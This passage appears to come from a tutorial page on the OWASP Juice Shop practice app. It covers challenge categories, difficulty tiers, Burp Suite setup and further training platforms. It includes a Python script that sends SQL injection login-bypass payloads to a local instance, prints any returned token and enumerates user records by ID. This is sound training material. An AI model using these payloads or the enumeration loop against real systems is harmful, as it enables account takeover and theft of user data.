IDOR, privilege escalation, admin bypass, basket manipulation

๐Ÿ’‰ Injection (18)

SQL, NoSQL, Command, LDAP, Template, XXE, CRLF, Code injection

๐Ÿ”’ Cryptographic Failures (8)

Weak hashing, ECB mode, padding oracle, hash length extension

๐Ÿšจ XSS (12)

Reflected, Stored, DOM, mXSS, prototype pollution, SVG-based

โš™๏ธ Security Misconfiguration (12)

Directory traversal, log injection, XXE, deserialization, CORS

๐Ÿ“ก SSRF & CSRF (7)

Internal network access, cloud metadata, CSRF token bypass

๐Ÿ’ผ Business Logic (10)

Payment bypass, coupon stacking, race conditions, logic flaws

๐Ÿ“„ Information Disclosure (8)

Exposed metrics, API docs, sensitive files, error messages

๐ŸŽญ Other (10+)

Easter eggs, hidden features, creative exploits, bonus challenges

Total: 110+ Challenges (Score board shows exact current count)

๐Ÿ” Broken Authentication

  • JWT token manipulation
  • Password reset bypass
  • OAuth flaws
  • Session fixation

๐Ÿ”“ Broken Access Control

  • Horizontal privilege escalation
  • Vertical privilege escalation
  • IDOR (changing IDs)
  • Accessing admin functions

๐Ÿ’‰ Injection Attacks

  • SQL injection (various types)
  • NoSQL injection
  • Command injection
  • LDAP injection
  • Template injection

๐Ÿ”’ Cryptographic Failures

  • Weak encryption
  • Insecure hashing (MD5, SHA1)
  • ECB mode vulnerabilities
  • Predictable tokens

๐Ÿ›ก๏ธ SSRF & XXE

  • Server-Side Request Forgery
  • XML External Entity attacks
  • Internal network access
  • Cloud metadata exploitation

โš™๏ธ Security Misconfiguration

  • Error handling disclosure
  • Unused dependencies
  • Default accounts
  • Directory traversal

๐Ÿ“ฆ Component Vulnerabilities

  • Vulnerable npm packages
  • Library exploits
  • Outdated frameworks
  • Dependency confusion

๐ŸŽญ Business Logic Flaws

  • Negative quantity orders
  • Coupon code manipulation
  • Race conditions
  • Payment bypass

๐Ÿ” Improper Input Validation

  • File upload vulnerabilities
  • Path traversal
  • Type juggling
  • Mass assignment

๐Ÿ“Š Logging & Monitoring

  • Log injection
  • Insufficient monitoring
  • Audit bypass
  • Log tampering

๐Ÿš€ Advanced XSS

  • DOM-based XSS
  • Stored XSS in comments
  • XSS in iframes
  • Filter bypass techniques

๐ŸŽฏ Easter Eggs & Hidden Features

  • Score board discovery
  • Hidden routes
  • Secret products
  • Developer backdoors

Challenge Difficulty Breakdown

๐Ÿ“Š Juice Shop Challenge Levels
  • โญ Easy (1-star): ~35 challenges - Basic concepts, simple exploits
  • โญโญ Medium (2-star): ~30 challenges - Requires some technical knowledge
  • โญโญโญ Hard (3-star): ~25 challenges - Advanced techniques, chaining exploits
  • โญโญโญโญ Expert (4-star): ~15 challenges - Deep technical knowledge required
  • โญโญโญโญโญ Master (5-star): ~10 challenges - Extremely difficult, creative thinking
  • โญโญโญโญโญโญ Elite (6-star): ~5 challenges - Nearly impossible without hints!

Automation with Python

Once you understand the vulnerabilities manually, automate them:

#!/usr/bin/python3
# Automated Juice Shop SQL Injection

import requests

base_url = "http://localhost:3000"

# SQL Injection payloads
payloads = [
    "' OR 1=1--",
    "' OR 'a'='a'--",
    "admin'--",
    "' UNION SELECT NULL--"
]

# Test each payload
for payload in payloads:
    data = {
        "email": payload,
        "password": "anything"
    }
    
    response = requests.post(f"{base_url}/rest/user/login", json=data)
    
    if response.status_code == 200:
        print(f"[+] SUCCESS: {payload}")
        print(f"    Token: {response.json().get('authentication', {}).get('token')}")
    else:
        print(f"[-] FAILED: {payload}")

# Automated IDOR testing
print("\n[*] Testing IDOR on user endpoints...")
for user_id in range(1, 20):
    response = requests.get(f"{base_url}/api/Users/{user_id}")
    if response.status_code == 200:
        user = response.json()
        print(f"[+] User {user_id}: {user.get('email')}")

Using Burp Suite

Professional tool for web app testing:

  1. Install Burp Suite Community
    Download from: portswigger.net
  2. Configure Browser Proxy
    Set proxy to: 127.0.0.1:8080
    Install Burp's CA certificate
  3. Intercept Requests
    Turn on "Intercept" โ†’ Browse Juice Shop
    Modify requests before they're sent!
  4. Use Intruder for Brute Force
    Select payload positions โ†’ Load wordlists โ†’ Attack!
  5. Use Repeater for Manual Testing
    Send requests repeatedly with modifications

Tips for 100% Completion

๐Ÿ”Ž Use Hints Wisely

Score board shows hints for each challenge. Read them if you're stuck for 30+ minutes.

๐Ÿ“š Read OWASP Documentation

The official guide has detailed solutions: pwning.owasp-juice.shop

๐Ÿงช Experiment Freely

Can't break it permanently! Try every payload you can think of.

๐Ÿค Join Community

OWASP Slack channel: #project-juiceshop
Ask questions and share solutions!

๐Ÿ“ Document Findings

Write vulnerability reports as practice for real pentests. Include impact, PoC, remediation.

๐Ÿ”„ Try Different Approaches

Many challenges have multiple solutions. Find alternate exploitation methods!

โฑ๏ธ Time Yourself

Track how long each challenge takes. Improve speed for real-world scenarios.

๐ŸŽฏ Set Daily Goals

Complete 3-5 challenges per day. Consistent practice builds expertise!

Creating Your Own Exploits

Build a personal exploitation toolkit:

๐Ÿ Python Scripts

  • Automated scanners
  • Payload generators
  • API fuzzers
  • Brute force tools

๐ŸฆŠ Browser Extensions

  • Cookie editors
  • Header modifiers
  • JavaScript injectors
  • Request interceptors

๐Ÿ“œ Payload Collections

  • SQL injection payloads
  • XSS payloads
  • XXE payloads
  • Command injection shells

๐Ÿ”ง Custom Tools

  • JWT decoders
  • Hash crackers
  • Encoding converters
  • Obfuscators

After Completing Juice Shop

Congratulations! You've mastered web application security fundamentals. Next steps:

๐Ÿš€ Advanced Practice Platforms
  1. PortSwigger Web Security Academy - Free labs covering every vulnerability type
  2. HackTheBox - Real-world pentesting challenges (requires subscription for most content)
  3. TryHackMe - Guided learning paths for web security
  4. PentesterLab - Advanced web exploitation exercises
  5. Damn Vulnerable Web Application (DVWA) - Another vulnerable app for practice

๐Ÿš€ What's Next?

๐Ÿ“š More Resources

Certification Path

If you master Juice Shop, consider these certifications:

Ready to explore more resources?

Back to Resources Hub โ†’